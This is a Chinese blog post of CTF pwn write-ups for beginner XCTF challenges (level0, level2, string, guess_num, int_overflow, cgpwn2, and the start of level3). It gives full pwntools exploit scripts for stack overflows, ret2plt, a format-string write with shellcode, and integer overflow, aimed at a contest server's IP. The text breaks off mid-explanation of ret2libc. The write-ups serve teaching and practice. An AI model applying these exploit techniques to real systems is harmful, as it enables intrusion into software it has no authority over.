新手区 Tomorrow always comes, and tomorrow always brings write-ups. ALWAYS FOLLOW UP A PROBLEM YOU WORKED ON, BY READING WRITE-UPS.
get_shell 下载后本地运行即可直接得到 shell ,所以只需要远程连接靶机IP和端口即可。
level 0 64位文件,checksec发现没有栈溢出保护。拖进 IDA 里,反编译后的伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { write(1 , "Hello, World\n" , 0xD uLL); return vulnerable_function(); } ssize_t vulnerable_function () { char buf; return read(0 , &buf, 0x200 uLL); }
观察到 buf
的大小只有[rsp+0h] [rbp-80h]
,与栈底指针有 80h 的偏移,占用内存大小即为 80h ,但是,read
却可以读入 200h 的内容,这里会出现栈溢出。接下来需要我们寻找能利用的溢出后的位置
搜索字符串
1 2 3 4 5 6 7 8 9 10 11 LOAD:0000000000400200 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:0000000000400311 0000000A C libc.so.6 LOAD:000000000040031B 00000005 C read LOAD:0000000000400320 00000007 C system LOAD:0000000000400327 00000012 C __libc_start_main LOAD:0000000000400339 00000006 C write LOAD:000000000040033F 0000000F C __gmon_start__ LOAD:000000000040034E 0000000C C GLIBC_2.2.5 .rodata:0000000000400684 00000008 C /bin/sh .rodata:000000000040068C 0000000E C Hello, World\n .eh_frame:0000000000400747 00000006 C ;*3$\"
有现成的 /bin/sh
但是存放在只读的 rodata
区域,没法利用。我们发现了另一个函数 callsystem
1 2 3 4 5 6 7 8 9 10 11 .text:0000000000400596 public callsystem .text:0000000000400596 callsystem proc near .text:0000000000400596 ; __unwind { .text:0000000000400596 push rbp .text:0000000000400597 mov rbp, rsp .text:000000000040059A mov edi, offset command ; "/bin/sh" .text:000000000040059F call _system .text:00000000004005A4 pop rbp .text:00000000004005A5 retn .text:00000000004005A5 ; } // starts at 400596 .text:00000000004005A5 callsystem endp
这里将 /bin/sh
移动到了 edi 指向的内存,随后进行了系统调用,调用了 /bin/sh
反编译后的代码为:
1 2 3 4 int callsystem () { return system("/bin/sh" ); }
所以我们可以在read
向 buf 输入内容时前 80h 我们正常输入,之后的输入我们将输入 callsystem()
所在的位置(注意是返回到函数起始位置,因为要重新建立栈帧),来返回一个 shell。
编写 payload 如下:
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("111.200.241.244" ,"64879" ) gad = 0x400596 print (p64(gad))payload = "a" *0x80 + p64(gad) p.send(payload) p.interactive()
运行发现失败了。失败原因是我们现在的 payload 并没有真正起到控制返回地址的作用。查看 main()
函数汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text:00000000004005C6 push rbp .text:00000000004005C7 mov rbp, rsp .text:00000000004005CA sub rsp, 10h .text:00000000004005CE mov [rbp+var_4], edi .text:00000000004005D1 mov [rbp+var_10], rsi .text:00000000004005D5 mov edx, 0Dh ; n .text:00000000004005DA mov esi, offset aHelloWorld ; "Hello, World\n" .text:00000000004005DF mov edi, 1 ; fd .text:00000000004005E4 call _write .text:00000000004005E9 mov eax, 0 .text:00000000004005EE call vulnerable_function .text:00000000004005F3 leave .text:00000000004005F4 retn .text:00000000004005F4 ; } // starts at 4005C6 .text:00000000004005F4 main endp
在函数结束之前有一次 leave
操作,作用相当于
1 2 3 mov esp, ebp pop ebp ret
可以看到有一次 pop
操作,弹出了 64 位即8字节的数据,所以我们也要把这8字节加上(通过栈帧的结构我们也可以看出来在vlunerable_function函数被调用后,新栈帧中首先就保存了main函数的ebp指针,成为了当前新栈帧的ebp,为[ebp+0],而[ebp+4]保存了漏洞函数返回地址,即我们需要控制的地方),完整payload如下:
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("111.200.241.244" ,"63630" ) gad = 0x400596 print (p64(gad))payload = "a" *0x80 + 'b' *0x8 + p64(gad) p.send(payload) p.interactive()
level2 checksec
1 2 3 4 5 6 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
有栈溢出,但是栈上不可执行,需要找lib函数或者写好的后门。查看字符串
1 2 3 4 5 6 7 8 LOAD:0804824B 00000007 C system LOAD:08048252 00000012 C __libc_start_main LOAD:08048264 0000000F C __gmon_start__ LOAD:08048273 0000000A C GLIBC_2.0 .rodata:08048540 0000000C C echo Input: .rodata:0804854C 00000014 C echo 'Hello World!' .eh_frame:080485CB 00000005 C ;*2$\" .data:0804A024 00000008 C /bin/sh
发现0804A024
位置有 /bin/sh
可以利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'"); return 0; } ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); }
这两个函数中都有system()
函数,同时 read()
在 88h 大小的 buf
中接受 100h 的输入,会造成溢出。我们可以控制溢出点,将其指向 system()
函数处,然后传入 /bin/sh
的地址,来完成执行。这两个 system()
都可以利用。main
() 中的call_system
位置在 0804849E
。vlunrable_fun
() 中的 call_system
也可以,位置在 0804845C
Payload1:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *HOST = "111.200.241.244" PORT = 52231 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./level2' ) payload = "a" *0x88 + "b" *0x4 + p32(0x0804845C ) + p32(0x0804A024 ) p.recvuntil("Input:" ) p.sendline(payload) p.interactive()
这里注意汇编的最后通过 leave
来消除栈,包含了一次 pop ebp
操作,弹出了32位即4字节内容,所以我们payload也把这4字节加上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:0804844B push ebp .text:0804844C mov ebp, esp .text:0804844E sub esp, 88h .text:08048454 sub esp, 0Ch .text:08048457 push offset command ; "echo Input:" .text:0804845C call _system .text:08048461 add esp, 10h .text:08048464 sub esp, 4 .text:08048467 push 100h ; nbytes .text:0804846C lea eax, [ebp+buf] .text:08048472 push eax ; buf .text:08048473 push 0 ; fd .text:08048475 call _read .text:0804847A add esp, 10h .text:0804847D nop .text:0804847E leave .text:0804847F retn
32位程序覆盖返回地址后直接传参数即可。
Payload2-攻击plt
表:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *HOST = "111.200.241.244" PORT = 52231 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./level2' ) payload = "a" *0x88 + "b" *0x4 + p32(0x08048320 ) +p32(0x1929 ) + p32(0x0804A024 ) p.recvuntil("Input:" ) p.sendline(payload) p.interactive()
在 IDA 左边我们发现了 plt
表中也有 system
调用,
1 2 3 4 int system(const char *command) { return system(command); }
我们
32位程序运行中函数参数直接压入栈中,栈结构为
1 调用函数地址 -> 函数返回地址 -> 参数n .... -> 参数1
需要给一个返回值,我这里随便输的。
可以发现其实第一个payload 中我们利用的 call _system
它还是跳转到了 plt
表中,本质上还是一样的。
string 本题通过格式化字符串漏洞泄漏变量偏移,利用此偏移修改目标变量值,从而达到执行 shellcode
的条件。
反编译后的主要代码如下:
main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { _DWORD *v3; __int64 v4; setbuf(stdout , 0LL ); alarm(0x3C u); sub_400996(); v3 = malloc (8uLL ); v4 = (__int64)v3; *v3 = 68 ; v3[1 ] = 85 ; puts ("we are wizard, we will give you hand, you can not defeat dragon by yourself ..." ); puts ("we will tell you two secret ..." ); printf ("secret[0] is %x\n" , v4, a2); printf ("secret[1] is %x\n" , v4 + 4 ); puts ("do not tell anyone " ); sub_400D72(v4); puts ("The End.....Really?" ); return 0LL ; }
sub_400D72(v4)
1 2 3 4 5 6 7 8 9 10 11 if ( strlen (&s) <= 0xC ) { puts ("Creating a new player." ); sub_400A7D(); sub_400BB9(); sub_400CA6((_DWORD *)a1); } else { puts ("Hei! What's up!" ); }
sub_400A7D()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 puts ("So, where you will go?east or up?:" ); while ( 1 ) { _isoc99_scanf((__int64)"%s" , (__int64)&s1); if ( !strcmp (&s1, "east" ) || !strcmp (&s1, "east" ) ) break ; puts ("hei! I'm secious!" ); puts ("So, where you will go?:" ); } if ( strcmp (&s1, "east" ) ) { if ( !strcmp (&s1, "up" ) ) sub_4009DD(); puts ("YOU KNOW WHAT YOU DO?" ); exit (0 ); }
sub_4009DD()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 puts ("where you will go?!left(0) or right(1)?!:" ); v0 = time(0LL ); srand(v0); while ( 1 ) { v2 = rand() % 2 ; _isoc99_scanf((__int64)"%d" , (__int64)&v1); if ( v1 != v2 ) break ; puts ("You escape it!but another hole appear!" ); puts ("where you will go?!left(0) or right(1)?!:" ); } puts ("YOU ARE DEAD" ); exit (0 );
sub_400BB9()
1 2 3 4 5 6 7 8 9 10 11 12 if ( v1 == 1 ) { puts ("A voice heard in your mind" ); puts ("'Give me an address'" ); _isoc99_scanf((__int64)"%ld" , (__int64)&v2); puts ("And, you wish is:" ); _isoc99_scanf((__int64)"%s" , (__int64)&format); puts ("Your wish is" ); printf (&format, &format); puts ("I hear it, I hear it...." ); } return __readfsqword(0x28 u) ^ v4;
sub_400CA6(a1)
1 2 3 4 5 6 7 if ( *a1 == a1[1 ] ) { puts ("Wizard: I will help you! USE YOU SPELL" ); v1 = mmap(0LL , 0x1000 uLL, 7 , 33 , -1 , 0LL ); read(0 , v1, 0x100 uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL , v1); }
代码在本地跑几次之后可以得到简化的代码执行流程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 print(v4' s address) sub_400D72(v4) print name name_length < 12 sub_400A7D() east sub_400BB9 () input v1 = go into there v1 == 1 input int v2 : address input char format: wish sub_400CA6(a1) *a1 == a1[1 ] mmap(0LL ,0x1000 uLL,) read(0 ,v1) ((void (__fastcall *)(_QWORD, void *))v1)(0LL , v1);
对代码进行分析后发现在最后进入的函数 400CA6
中,最后如果满足了 if(*a1=a1[1])
进入条件语句中我们就可以通过开辟内存,通过 read
传入shellcode ,从而在内存中执行我们的 shellcode。
1 2 3 v1 = mmap(0LL , 0x1000 uLL, 7 , 33 , -1 , 0LL ); read(0 , v1, 0x100 uLL); ((void (__fastcall *)(_QWORD, void *))v1)(0LL , v1);
这段代码的汇编如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text:0000000000400D07 mov edi, offset aWizardIWillHel ; "Wizard: I will help you! USE YOU SPELL" .text:0000000000400D0C call puts .text:0000000000400D11 mov r9d, 0 ; offset .text:0000000000400D17 mov r8d, 0FFFFFFFFh ; fd .text:0000000000400D1D mov ecx, 21h ; flags .text:0000000000400D22 mov edx, 7 ; prot .text:0000000000400D27 mov esi, 1000h ; len .text:0000000000400D2C mov edi, 0 ; addr .text:0000000000400D31 call mmap .text:0000000000400D36 mov [rbp+buf], rax .text:0000000000400D3A mov rax, [rbp+buf] .text:0000000000400D3E mov edx, 100h ; nbytes .text:0000000000400D43 mov rsi, rax ; buf .text:0000000000400D46 mov edi, 0 ; fd .text:0000000000400D4B call read .text:0000000000400D50 mov rax, [rbp+buf] .text:0000000000400D54 mov edi, 0 .text:0000000000400D59 call rax
可以看到在 mmap
分配了 1000h
的内存空间后read
读入了 100h
的内容,随后执行了 rax
中的内容。
那如何满足判断?我们查看函数参数的传递过程后发现,要比较的参数 a1
实际上就是 v4
也就是 v3
。而在 main
函数开始就已经给 *a1
和 a1[1]
赋了不同的值,
所以我们要想办法修改二者其中之一的值,使其与另一个相等即可。
如何修改?在函数 400BB9
中我们发现了存在格式化字符串漏洞
1 2 3 4 5 _isoc99_scanf((__int64)"%ld" , (__int64)&v2); puts ("And, you wish is:" );_isoc99_scanf((__int64)"%s" , (__int64)&format); puts ("Your wish is" );printf (&format, &format);
我们可以想办法将 v2
的地址指向 v3
或者v3[1]
,然后修改其值为另外变量的值即可。
先利用格式化字符串漏洞泄漏出v2 的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # coding = utf-8 from pwn import * HOST = "111.200.241.244" PORT = 59601 context(log_level = 'debug' , arch = 'amd64' , os='linux' ) # for executing code on remote or local if len(sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./string' ) log .info('Pwning start' )p.recvuntil("[0] is " ) add1 = int (p.recvuntil('\n' ), 16 ) p.recvuntil("[1] is " ) add2 = int (p.recvuntil('\n' ), 16 ) print add1,add2 p.recvuntil("What should your character's name be:\n" ) p.sendline("brian" ) p.recvuntil("So, where you will go?east or up?:\n" ) p.sendline("east" ) p.recvuntil("go into there(1), or leave(0)?:\n" ) p.sendline("1" ) p.recvuntil("'Give me an address'\n" ) p.sendline('2' ) offset = 'A' *4 + '.%x' *10 p.recvuntil("And, you wish is:\n" ) p.sendline(offset)
通过我们之前的测试,前几步输入正确的字符串来让程序正确进行到 400BB9
函数处。接着在输入 address
时输入我们的测试数字2
,接着尝试通过漏洞泄漏出变量的偏移量。程序执行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [DEBUG] Received 0x30 bytes: 'A voice heard in your mind\n' "'Give me an address'\n" [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x12 bytes: 'And, you wish is:\n' [DEBUG] Sent 0x23 bytes: 'AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n' [*] Switching to interactive mode [*] Process './string' stopped with exit code 0 (pid 13059 ) [DEBUG] Received 0x17e bytes: 'Your wish is\n' 'AAAA.75d7b7e3.75d7c8c0.75a9f224.c.0.75d772a0.2.41414141.252e7825.2e78252eI hear it, I hear it....\n' 'Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!\n'
在我们输入 'AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n'
之后,我们得到的输出为:
AAAA.75d7b7e3.75d7c8c0.75a9f224.c.0.75d772a0.2.41414141.252e7825.2e78252eI
在偏移为7的位置看到了我们的测试输入 2
,所以可以确定 v2
的偏移为7。
下一步我们可以将测试输入修改为 v3
的地址,然后通过格式化字符串漏洞将修改后的偏移量位置的值输入为v3[1]
的值,即85,来满足 v3=v3[1]
,从而顺利进入可执行 shellcode 的代码段 。
完整 payload 如下(这里我修改的是v3[1]
的值,注意给v2
传地址时要赋v4+4
的地址,赋值时也要赋68
,而不是85
了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 # coding = utf-8 from pwn import * HOST = "111.200.241.244" PORT = 59601 context(log_level = 'debug' , arch = 'amd64' , os='linux' ) # for executing code on remote or local if len(sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./string' ) log .info('Pwning start' )p.recvuntil("[0] is " ) add1 = int (p.recvuntil('\n' ), 16 ) p.recvuntil("[1] is " ) add2 = int (p.recvuntil('\n' ), 16 ) print add1,add2 p.recvuntil("What should your character's name be:\n" ) p.sendline("brian" ) p.recvuntil("So, where you will go?east or up?:\n" ) p.sendline("east" ) p.recvuntil("go into there(1), or leave(0)?:\n" ) p.sendline("1" ) p.recvuntil("'Give me an address'\n" ) p.sendline(str(add2)) offset = 'A' *4 + '.%x' *10 payload = '%68d%7$n' p.recvuntil("And, you wish is:\n" ) p.sendline(payload) shell = asm (shellcraft.sh()) p.recvuntil("Wizard: I will help you! USE YOU SPELL\n" ) p.sendline(shell) p.interactive()
guess_num 64位文件,chseksec
1 2 3 4 5 6 gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
开启了栈溢出保护,没办法栈上执行代码。
反编译后main()
部分代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 v4 = 0; v6 = 0; *(_QWORD *)seed = sub_BB0(); puts("-------------------------------"); puts("Welcome to a guess number game!"); puts("-------------------------------"); puts("Please let me know your name!"); printf("Your name:", 0LL); gets((__int64)&v7); srand(seed[0]); for ( i = 0; i <= 9; ++i ) { v6 = rand() % 6 + 1; printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1)); printf("Please input your guess number:"); __isoc99_scanf("%d", &v4); puts("---------------------------------"); if ( v4 != v6 ) { puts("GG!"); exit(1); } puts("Success!"); } sub_C3E();
sub_BB0()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 _int64 sub_BB0() { int fd; // [rsp+Ch] [rbp-14h] __int64 buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); fd = open("/dev/urandom", 0); if ( fd < 0 || (signed int)read(fd, &buf, 8uLL) < 0 ) exit(1); if ( fd > 0 ) close(fd); return buf; }
该函数没有溢出点,buf
只读了 8h
sub_C3E()
1 2 3 4 5 6 __int64 sub_C3E() { printf("You are a prophet!\nHere is your flag!"); system("cat flag"); return 0LL; }
函数的逻辑是在经过10次比较,如果每次 v4==v6 都满足则可以 cat /flag
。而 v6 是通过随机函数而来。这里的 rand()
函数的种子被设置为了 seed[0]
,我们知道其实随机都是假随机,只要我们设置种子为0/1,即可得到相同的随机数。所以我们想办法控制随机种子。
在代码中我们注意到 v7(var_30) 和 seed 是栈上相邻的变量
1 2 3 4 5 6 .text:0000000000000C66 var_3C = dword ptr -3Ch .text:0000000000000C66 var_38 = dword ptr -38h .text:0000000000000C66 var_34 = dword ptr -34h .text:0000000000000C66 var_30 = byte ptr -30h .text:0000000000000C66 seed = dword ptr -10h .text:0000000000000C66 var_8 = qword ptr -8
v7 的地址空间大小为 char v7; // [rsp+10h] [rbp-30h]
,我们通过 gets(v7)
输入20h+1h来使其溢出到 seed,从而控制 seed。
在最后pwn之前,我们还需要找到使用随机函数的so库
1 2 3 4 5 $:ldd guess_num linux-vdso.so.1 (0x00007ffd0a3b1000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe8e541c000) /lib64/ld-linux-x86-64.so.2 (0x00007fe8e5a10000)
虽然源代码使用了so.2
,但是本地测试发现用不了,采用了 so.6
。
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *from ctypes import *context(os='linux' , arch='i386' ) context.log_level = 'debug' HOST = "111.200.241.244" PORT = 49862 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./guess_num' ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) libc.srand(1 ) payload = 'a' *0x20 + p64(1 ) p.recvuntil("Your name:" ) p.sendline(payload) for i in range (10 ): v6 = libc.rand() % 6 + 1 ; p.recvuntil("Please input your guess number:" ) p.sendline(str (v6)) p.interactive()
int_overflow 32位文件,查看保护
1 2 3 4 5 6 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
没有检测栈溢出,堆栈代码不可执行。IDA打开
Main()函数没有问题,进入Login(),查看反汇编结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *login () { char buf; char s; memset (&s, 0 , 0x20 u); memset (&buf, 0 , 0x200 u); puts ("Please input your username:" ); read(0 , &s, 0x19 u); printf ("Hello %s\n" , &s); puts ("Please input your passwd:" ); read(0 , &buf, 0x199 u); return check_passwd(&buf); }
这里的read()同样没有溢出,函数最后经过check_passwd($buf)
函数将最多输入0x199长度的参数传递过去。进入该函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char *__cdecl check_passwd (char *s) { char *result; char dest; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Invalid Password" ); result = (char *)fflush(stdout ); } else { puts ("Success" ); fflush(stdout ); result = strcpy (&dest, s); } return result; }
函数首先声明了 unsigned __int8 v3
,8字节,最大值256。随后通过strlen()
计算最大长度可达0x199的变量s的长度,将该变量长度复制给最大值为256的变量v3。这里存在整数溢出:
1 2 3 4 a = 0xffffffff ; b = 0x1 ; c = a + b; c = 0 ;
c 的最大宽度是8位,a+b之后结果应该是 0x100000000 ,但是由于c只能存储低8位,于是高位产生了截断,导致c只保存了 0x00000000,即c=0。
在接下来的if判断中,如果没有通过判断,即长度 3<v3<8
可以执行strcpy()
,将函数自己带过来的参数复制到变量 dest
中,而这个变量距离ebp
有0x14字节的距离,我们可以通过此来使得栈溢出,首先填充到$ebp
(0x14字节),然后越过previous $ebp
(4字节),覆盖到返回地址。
现在有几个问题:
如何经过if判断?
覆盖到返回地址需要填充多少字节?
让函数返回到哪里?
对第一个问题,我们利用整数溢出,条件是3-8之间,那我们只需要256+3或256+8即可让其溢出后只保留低位的数字。如果我们只用3-8之间的参数数量去输入,那我们的payload不够写。
对第二个问题,其实上文已经说了需要填充 0x14+4。同时为了满足if判断,我们要用256+8(我们这里选择了较大的数)来减去填充的数据,以及返回地址的长度:256+8-0x14-4-8=234个字节填充数据,来给到s足够的长度。
对第三个问题,我们可以找到题目的后门函数what is this
1 2 3 4 int what_is_this () { return system("cat flag" ); }
其函数起始地址为0x804868B
,此即用作函数返回地址。
于是,payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(os='linux' , arch='i386' ) context.log_level = 'debug' HOST = "111.200.241.244" PORT = 63884 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./int_overflow' ) retaddr = 0x804868B payload = "A" *0x14 + "BBBB" + p32(retaddr) + "b" *234 p.recvuntil("Your choice:" ) p.sendline("1" ) p.recvuntil("Please input your username:\n" ) p.sendline("admin" ) p.recvuntil("Please input your passwd:\n" ) p.sendline(payload) p.interactive()
cgpwn2 32位程序,查看保护
1 2 3 4 5 CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
没有开启栈保护和地址随机化,开启了堆栈代码不可执行,我们要想办法利用题目自身的代码。
本地运行完知道基本功能后,打开IDA查看:定位到hello()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 char *hello () { char *v0; signed int v1; unsigned int v2; char *v3; char s; int v6; v0 = &s; v1 = 30 ; if ( (unsigned int )&s & 2 ) { *(_WORD *)&s = 0 ; v0 = (char *)&v6; v1 = 28 ; } v2 = 0 ; do { *(_DWORD *)&v0[v2] = 0 ; v2 += 4 ; } while ( v2 < (v1 & 0xFFFFFFFC ) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0 ; v3 += 2 ; } if ( v1 & 1 ) *v3 = 0 ; puts ("please tell me your name" ); fgets(name, 50 , stdin ); puts ("hello,you can leave some message here:" ); return gets(&s); }
gets()明显存在溢出,先来判断一下需要溢出多少(char s; // [esp+12h] [ebp-26h]
这里IDA判断出与ebp的偏移为0x26,但我们为了防止不出错,还是自己验证一下的好)。使用GDB在gets()下断点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 r Starting program: /home/brian/桌面/adworld/cgpwn2 please tell me your name admin hello,you can leave some message here: Breakpoint 1, 0x080485f7 in hello () gdb-peda$ n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB [----------------------------------registers-----------------------------------] EAX: 0xffffd112 ('A' <repeats 38 times>, "BBBB") EBX: 0x0 ECX: 0xf7fb45c0 --> 0xfbad208b EDX: 0xf7fb589c --> 0x0 ESI: 0x1c EDI: 0x0 EBP: 0xffffd138 ("BBBB") ESP: 0xffffd100 --> 0xffffd112 ('A' <repeats 38 times>, "BBBB") EIP: 0x80485fc (<hello+154>: nop) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x80485f1 <hello+143>: lea eax,[ebp-0x26] 0x80485f4 <hello+146>: mov DWORD PTR [esp],eax 0x80485f7 <hello+149>: call 0x80483f0 <gets@plt> => 0x80485fc <hello+154>: nop 0x80485fd <hello+155>: add esp,0x30 0x8048600 <hello+158>: pop ebx 0x8048601 <hello+159>: pop esi 0x8048602 <hello+160>: pop ebp [------------------------------------stack-------------------------------------] 0000| 0xffffd100 --> 0xffffd112 ('A' <repeats 38 times>, "BBBB") 0004| 0xffffd104 --> 0x32 ('2') 0008| 0xffffd108 --> 0xf7fb45c0 --> 0xfbad208b 0012| 0xffffd10c --> 0x0 0016| 0xffffd110 --> 0x41414000 ('') 0020| 0xffffd114 ('A' <repeats 36 times>, "BBBB") 0024| 0xffffd118 ('A' <repeats 32 times>, "BBBB") 0028| 0xffffd11c ('A' <repeats 28 times>, "BBBB") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080485fc in hello () gdb-peda$ x/20wx $ebp-4 //从ebp-4开始查看20个内存单元的内容 0xffffd134: 0x41414141 0x42424242 0x08048600 0xf7fb4ce0 0xffffd144: 0x00000000 0x0804867b 0x00000000 0xf7fb4000 0xffffd154: 0xf7fb4000 0x00000000 0xf7df4f21 0x00000001 0xffffd164: 0xffffd1f4 0xffffd1fc 0xffffd184 0x00000001 0xffffd174: 0x00000000 0xf7fb4000 0xf7fe571a 0xf7ffd000 gdb-peda$ x/20wx $ebp 0xffffd138: 0x42424242 0x08048600 0xf7fb4ce0 0x00000000 0xffffd148: 0x0804867b 0x00000000 0xf7fb4000 0xf7fb4000 0xffffd158: 0x00000000 0xf7df4f21 0x00000001 0xffffd1f4 0xffffd168: 0xffffd1fc 0xffffd184 0x00000001 0x00000000 0xffffd178: 0xf7fb4000 0xf7fe571a 0xf7ffd000 0x00000000
可以看到,在我们输入38个A之后,剩余的4个B(’A’ <repeats 38 times>, “BBBB”)刚好覆盖完了ebp(EBP: 0xffffd138 (“BBBB”))。
ok,那么38个A+4个B之后的4字节就是我们要覆盖的返回地址,那我们要让它返回到哪里?查看程序还发现了题目预留的后门函数pwn():
1 2 3 4 int pwn () { return system("echo hehehe" ); }
虽然system函数的参数已经写好了,我们先让函数返回到这里试试能不能成功执行给定的参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(os='linux' , arch='i386' ) context.log_level = 'debug' if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./cgpwn2' ) p.recvuntil("please tell me your name\n" ) p.sendline("whoami" ) payload = "A" *38 + "BBBB" + p32(0x804854D ) p.recvuntil("hello,you can leave some message here:" ) p.sendline(payload) p.interactive()
我们从终端看到成功输出hehehe
,接下来考虑如何让system执行/bin/sh
等命令。
一般来说函数的调用方式都是参数+返回地址+函数地址
按照这个顺序入栈随后带着传入的参数执行函数。
函数地址好说,这里的函数地址不再是我们上面代码中的0x804854D
(这是pwn()的地址),我们只需要system()。我们在pwn()中找到call _system
汇编,点击_system
即可看到system()的具体信息 0x8048420
:
1 2 3 4 5 6 7 .plt:08048420 ; int system(const char *command) .plt:08048420 _system proc near ; CODE XREF: pwn+D↓p .plt:08048420 .plt:08048420 command = dword ptr 4 .plt:08048420 .plt:08048420 jmp ds:off_804A01C .plt:08048420 _system endp
返回地址也好说,我们目标只是让它执行,执行完去哪不重要,随便给4字节就行。
参数不好说,因为函数调用时我们说的参数不是字符串,实际上还是一个指向参数的地址。我们要到哪里找一个内容是我们控制的地址?fgets()函数!
在gets()上面我们可以输入通过fgets()输入内容,会被保存到变量 name 中。fgets()比gets()函数安全,因为它限制了输入长度,通常不会产生溢出。找到name的地址为0x0804A080
,我们在第一步输入名字时输入想要执行的命令即可,那么payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(os='linux' , arch='i386' ) context.log_level = 'debug' HOST = "111.200.241.244" PORT = 63884 if len (sys.argv) > 1 and sys.argv[1 ] == '-r' : p = remote(HOST, PORT) else : p = process('./cgpwn2' ) p.recvuntil("please tell me your name\n" ) p.sendline("whoami" ) payload = "A" *38 + "BBBB" + p32(0x8048420 ) + "c" *4 + p32(0x804A080 ) p.recvuntil("hello,you can leave some message here:" ) p.sendline(payload) p.interactive()
这里在本地调试,我们成功执行了whoami
命令,接下来只需要修改命令即可。
level3 这道题开始有那味了。
题目给的附件中给出了libc.so文件,附件为32位ELF文件,保护:
1 2 3 4 5 CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
没有栈溢出保护,没有地址随机化,堆栈代码不可执行,我们没办法注入shellcode来执行了。IDA打开附件
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
其中vulnerable_function()
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf; write(1 , "Input:\n" , 7u ); return read(0 , &buf, 0x100 u); }
Read()
存在明显的栈溢出。由于目前我们没有找到可用的system()
,所以目前溢出后的返回地址我们还不能确定。
题目中给了我们libc文件,是想让我们利用它,考察 ret2libc
。
在动态链接的完成后,libc.so文件中的各个函数之间的间隔在编译完成后的 ELF文件
中仍保持不变。因此我们可以利用libc.so中的system()
和write()
,配合我们ELF
的write()
函数来获取链接完成之后ELF文件
中system()
函数的绝对地址:system_abs_addr = write_abs_addr - (write_libc_addr - system_libc_addr)
在找到system()
之后我们还需要参数/bin/sh
